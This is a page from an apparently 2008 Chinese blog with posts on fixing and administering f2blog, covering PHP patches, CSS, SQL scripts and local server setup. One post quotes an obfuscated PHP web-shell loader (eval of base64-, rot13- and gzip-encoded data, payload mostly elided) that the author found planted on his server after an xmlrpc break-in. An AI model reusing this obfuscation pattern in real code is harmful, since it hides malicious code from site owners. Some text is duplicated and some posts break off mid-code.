|
“学会接受并欣赏命运发给我们的牌,也许会有意想不到的乐趣。 我总认为,坦然的心境就是感受到幸福的理由。” |
f2blog在列表模式下直接显示username的小修正
Author:风之逸 Date:2008-11-08 23:03
遇到f2一个小bug,自己可以简单解决。记录下来方便查阅,也供大家参考。
f2blog设计成username和昵称分开,这样admin的登录名被隐藏,加强了后台跟密码的安全性。
可惜有个小bug,在列表模式下把鼠标指向标题。。。
需要修改include/content.inc.php
先找到这一句(基于f2blog v1.2 build 03.01),
这个小问题并不会有什么大的影响,不过还是建议自己动手修正一下。呵呵
f2blog设计成username和昵称分开,这样admin的登录名被隐藏,加强了后台跟密码的安全性。
可惜有个小bug,在列表模式下把鼠标指向标题。。。
需要修改include/content.inc.php
先找到这一句(基于f2blog v1.2 build 03.01),
<?php } else { ?>把它修改为以下:
<?php } else {
$author=(!empty($memberscache[$fa['author']]))?$memberscache[$fa['author']]:$fa['author']; ?>再到下面几行某处找到这一段:$strAuthor.":".$fa['author'].修改为:
$strAuthor.":".$author.就修正了。
这个小问题并不会有什么大的影响,不过还是建议自己动手修正一下。呵呵
小修改 - 让f2blog正常打开上传的大图片
Author:风之逸 Date:2008-10-27 14:42
是程序就总难做到尽善尽美,所以有时就需要自己动手一下。
f2blog上传大图片后可以设置生成缩略图,然后再插入文章中就比较美观。点击缩略图会在新窗口打开原图,可是这里的图片是原始大小显示,没有办法缩放以适合窗口大小。
如果图片很大,e.g. 宽1280以上(照片有这样大小是很正常的),就会出现显示不全的问题。这不是我们所想要的,毕竟一般笔记本分辨率也就1024×768.
lightbox是一个好的解决方法,只是用起来不够方便。我提供一个简单些的,一次性修改程序让打开的过大图片自动缩放去一个固定值(800×600),并且如果浏览器是IE可以滚轮缩放。
需要修改的文件: include/common.js.php
找到这个function:
f2blog上传大图片后可以设置生成缩略图,然后再插入文章中就比较美观。点击缩略图会在新窗口打开原图,可是这里的图片是原始大小显示,没有办法缩放以适合窗口大小。
如果图片很大,e.g. 宽1280以上(照片有这样大小是很正常的),就会出现显示不全的问题。这不是我们所想要的,毕竟一般笔记本分辨率也就1024×768.
lightbox是一个好的解决方法,只是用起来不够方便。我提供一个简单些的,一次性修改程序让打开的过大图片自动缩放去一个固定值(800×600),并且如果浏览器是IE可以滚轮缩放。
需要修改的文件: include/common.js.php
找到这个function:
function open_img(img_src) {
Tags: JavaScript
当那时f2的xmlrpc漏洞被发现
Author:风之逸 Date:2008-10-11 13:47
查看网上的文章,大多是今年5月的时候。我那时却少了根经,处于不闻不问的状态。
结果blog已经被人动了,自己却毫不知觉,直到这几天才惊觉其实已然中招。。。
幸运的是,人家对这里的兴趣也不大,基本上没有做什么破坏性举动。lucky? or not really so...
那时为何会不知觉,是因为只看到一个xmlrpc-g.php的文件。虽然有些纳闷,却也让我疏忽了。我就没有去做任何改动。直到一个月左右前,看到这样的文件在blog目录下,images71.php,觉得不对劲。查看其内容也很奇怪,是这样的字样:
<?php
/*
代码由http://1v1.name在线加密!
*/
eval(gzinflate(str_rot13(base64_decode('FJ3HjqR5tlJfpXT9WAzwQXfdFgTeezd24T1O4OHpLzmtV
...
中间省略n行,共100K左右大小
...
lv+ErdZaX6khNBgiBjRyQAFCAIjiNr/vPPv/79vv733//87/8='))));
?>
一时琢磨不透怎么回事。就把它给保存一份,然后删除掉了。后来在网上爬文,多少明白了是一种木马防杀的手段。通过多次加密,主机就没法杀除这样的病毒或木马。所以说。。。加密的部分多半是木马内容。
明白这点就更有些不放心,好好的查找了
一句奇妙的css代码
Author:风之逸 Date:2008-10-01 21:45
改模板遇到的一个大问题就是firefox跟ie下浏览不一致。以前也发过一篇抱怨新的firefox3会把目前的模板下日历弄乱。
而且就这个问题我百思不得其解,因为我有见到别人用的模板不存在这个问题,就是说css是可以改到一致的。可是我怎么也弄不出来,而且发现当初跟程序一起的default模板就有这个问题了。也难怪大多f2blog模板都有此问题。
今天仔细对比,发现在global.css里面有这么一句:
看来对于这两个标签不同的浏览器会有不同的默认值。于是直接先全部归为0,轻易的解决很多潜在问题。
很多事情,就是如此简单。。。
而且就这个问题我百思不得其解,因为我有见到别人用的模板不存在这个问题,就是说css是可以改到一致的。可是我怎么也弄不出来,而且发现当初跟程序一起的default模板就有这个问题了。也难怪大多f2blog模板都有此问题。
今天仔细对比,发现在global.css里面有这么一句:
*{padding:0;margin:0}
就是这么简单一句,轻易解决了我的头疼难题!而且一下解决了2个,一石二鸟。看来对于这两个标签不同的浏览器会有不同的默认值。于是直接先全部归为0,轻易的解决很多潜在问题。
很多事情,就是如此简单。。。
升级到了FCKeditor 2.6.3
Author:风之逸 Date:2008-10-01 21:21
因为那时候使用SyntaxHighlighter遇到了困难,前几天尝试使用fckeditor来编辑文章。感觉确实很好用。于是稍微做了点研究,发现fckeditor的最新版本已经是2.6.3。在官方站上稍微体验了一下,很是喜欢office2003的风格皮肤。
稍作学习,要在f2blog上升级编辑器是相当容易的事情。下载了最新版后把无用的说明性文件跟语言包通通清理掉,然后根据喜好自行配置一下fckeditor,直接就可以使用了~
感觉用起来很舒服,生成的html代码也很简洁。截个图:

我把宽度调成了80%,看起来有点别扭。呵呵,因为放100%的话实在有点太宽了。不过这个不重要啦,可以随意调整的。推荐一下,真的不错,而且自己动手从官方下载很有DIY的快乐。
稍作学习,要在f2blog上升级编辑器是相当容易的事情。下载了最新版后把无用的说明性文件跟语言包通通清理掉,然后根据喜好自行配置一下fckeditor,直接就可以使用了~
感觉用起来很舒服,生成的html代码也很简洁。截个图:

我把宽度调成了80%,看起来有点别扭。呵呵,因为放100%的话实在有点太宽了。不过这个不重要啦,可以随意调整的。推荐一下,真的不错,而且自己动手从官方下载很有DIY的快乐。
Tags: fckeditor
css代码的简化跟解读
Author:风之逸 Date:2008-09-28 22:23
在编写CSS代码的过程中,我们可以用简化的写法,这样提高效率。更重要的是在读别人写的代码的时候能明白到底什么意思。呵呵,今天又去爬了一篇网文,觉得很是收益。
以margin为例
以margin为例
margin-top:1px; margin-right:1px; margin-bottom:1px; margin-left:1px;代码简化为:
margin:1px
margin-top:1px; margin-right:2px; margin-bottom:1px; margin-left:2px;代码简化为:
margin:1px 2px
margin-top:1px; margin-r
如何用SQL重新排序留言跟评论的id
Author:风之逸 Date:2008-09-28 21:59
起因是当时blog被垃圾评论肆虐,然后删除了很多无用的评论跟留言。
后来自己琢磨过滤器为何无效,重新开启这个功能之后基本上就控制住了评论机器人。
这样id就出现了很大一段空缺。因为根据MySQL auto intrement的设计,删除了之后的id是不会重新利用的。
于是就有了重新排序的想法。去网上爬文,发现有效也直接的就是删除这个field,然后再生成。
本机测试,确实有效。
自然我是以f2blog的数据结构作为例子啦。其他的理论上不是问题。
后来发觉还是有问题,分析一下发觉是comments表里面的parent field跟id有关联。于是就需要做点别的处理。
去网上参照了一篇文章,
http://www.bbstobbs.com/thread-16-1-1.html
然后基于自己SQL的一点基础,尝试性的写了一个SQL Script,有效~
代码如下,相信简单的修改后对别的blog数据结构也是可以应用的。
重新排序guestbook id:
后来自己琢磨过滤器为何无效,重新开启这个功能之后基本上就控制住了评论机器人。
这样id就出现了很大一段空缺。因为根据MySQL auto intrement的设计,删除了之后的id是不会重新利用的。
于是就有了重新排序的想法。去网上爬文,发现有效也直接的就是删除这个field,然后再生成。
本机测试,确实有效。
自然我是以f2blog的数据结构作为例子啦。其他的理论上不是问题。
后来发觉还是有问题,分析一下发觉是comments表里面的parent field跟id有关联。于是就需要做点别的处理。
去网上参照了一篇文章,
http://www.bbstobbs.com/thread-16-1-1.html
然后基于自己SQL的一点基础,尝试性的写了一个SQL Script,有效~
代码如下,相信简单的修改后对别的blog数据结构也是可以应用的。
重新排序guestbook id:
ALTER TABLE `f2blog_guestbook` ADD `oldid` int(8) NOT NULL; update f2blog_guestbook set oldid=id; ALTER TABLE `f2blog_guestbook` DROP `id`; ALTER TABLE `f2blog_guestbook` ADD `id`
在Vista环境下架建Apache+PHP+MySQL测试环境
Author:风之逸 Date:2008-09-28 21:43
因为上次提到的缓存的原因,我在自己的机器上架建了PHP Http环境,用来测试跟调试自己的blog。
参照了一篇很棒的资源,我就不重复转帖了,地址如下:
http://www.444p.com/tutorial/php-setup/aid2626-vista_apache_php_mysql/
我的电脑是Vista Ultimate系统的,看来如今vista的兼容性基本不是问题了。
按照教程里一步一步做,架设整个localhost只要不到2个小时就可完成。值得一提的是里面推荐的文件系统很整洁,一目了然。
建议按照里面推荐的文件结构安装,于将来的维护都是有益无害。
我在架设完毕后出现了http 403 error. 花了蛮久去检查问题的原因。其实并不是教程有问题,只是有一步做的不够仔细。
其实教程里写的也略有不明白。
步骤5: 配置 Apache 和 PHP
5.1 找到
所以,请留意这步。
然后后面的应该就该是一帆风顺了吧。安装完MySQL后设置下root的密码,再安装个phpmyadmin来管理数据库。
参照了一篇很棒的资源,我就不重复转帖了,地址如下:
http://www.444p.com/tutorial/php-setup/aid2626-vista_apache_php_mysql/
我的电脑是Vista Ultimate系统的,看来如今vista的兼容性基本不是问题了。
按照教程里一步一步做,架设整个localhost只要不到2个小时就可完成。值得一提的是里面推荐的文件系统很整洁,一目了然。
建议按照里面推荐的文件结构安装,于将来的维护都是有益无害。
我在架设完毕后出现了http 403 error. 花了蛮久去检查问题的原因。其实并不是教程有问题,只是有一步做的不够仔细。
其实教程里写的也略有不明白。
步骤5: 配置 Apache 和 PHP
5.1 找到
DocumentRoot "xxxxxxx"改成你本机的网站内容的目录。例如我的:
DocumentRoot "D:/WWW/Web/"注意:这里有不止一处需要修改。查找
DocumentRoot "字样应该会出现3处。我开始只修改了第一处,就出现了403 error,后来测试知道第三处也是必须要修改的。
所以,请留意这步。
然后后面的应该就该是一帆风顺了吧。安装完MySQL后设置下root的密码,再安装个phpmyadmin来管理数据库。
关于f2blog内容过滤器无效的问题代码
Author:风之逸 Date:2008-09-28 20:43
这篇文章接续上次弄出来的补丁。
http://www.rainboww.net/home/read-157.html
说起来上次还卖关子,实在羞愧,胡乱发出来个补丁包却不对问题的症结进行解释。
如今f2官网也无法访问,感觉很是凄凉,先不论f2前途会如何,作为热爱这个程式的用户,希望能有些许的贡献。
正题。
出问题文件是 /include/function.php
内容过滤器无效的原因在这个replace_filter function, 代码如下:
http://www.rainboww.net/home/read-157.html
说起来上次还卖关子,实在羞愧,胡乱发出来个补丁包却不对问题的症结进行解释。
如今f2官网也无法访问,感觉很是凄凉,先不论f2前途会如何,作为热爱这个程式的用户,希望能有些许的贡献。
正题。
出问题文件是 /include/function.php
内容过滤器无效的原因在这个replace_filter function, 代码如下:
function replace_filter($content){
include_once("cache/cache_filters.php");
if (!empty($filtercache1) && is_array($filtercache1)){
foreach($filtercache1 as $value){
if (strpos(";$content",$value)>0){
return $value;
}
}
}
if (!empty($filtercache4) && is_array($filtercache4)){
foreach($filtercache4 as $value){
if (strpos(";$con
SQL 更换blog用户名
Author:风之逸 Date:2008-09-27 23:01
一个小技巧,呵呵 简单的一句SQL,就可以批量更换blog表中的用户名。句法如下:
我们以f2blog为例吧,比如想更换整个blog中作者'admin'去'webadmin',可以对几个表执行这个语句即可。
假设表前缀为f2blog_
在phpmyadmin中运行这几句SQL即大功告成了。
UPDATE `table_name` SET `field` = REPLACE(`field`,"from_name","to_name");
我们以f2blog为例吧,比如想更换整个blog中作者'admin'去'webadmin',可以对几个表执行这个语句即可。
假设表前缀为f2blog_
UPDATE `f2blog_members` SET `username` = REPLACE(`username`,"admin","webadmin"); UPDATE `f2blog_comments` SET `author` = REPLACE(`author`,"admin","webadmin"); UPDATE `f2blog_guestbook` SET `author` = REPLACE(`author`,"admin","webadmin"); UPDATE `f2blog_logs` SET `author` = REPLACE(`author`,"admin","webadmin");
在phpmyadmin中运行这几句SQL即大功告成了。


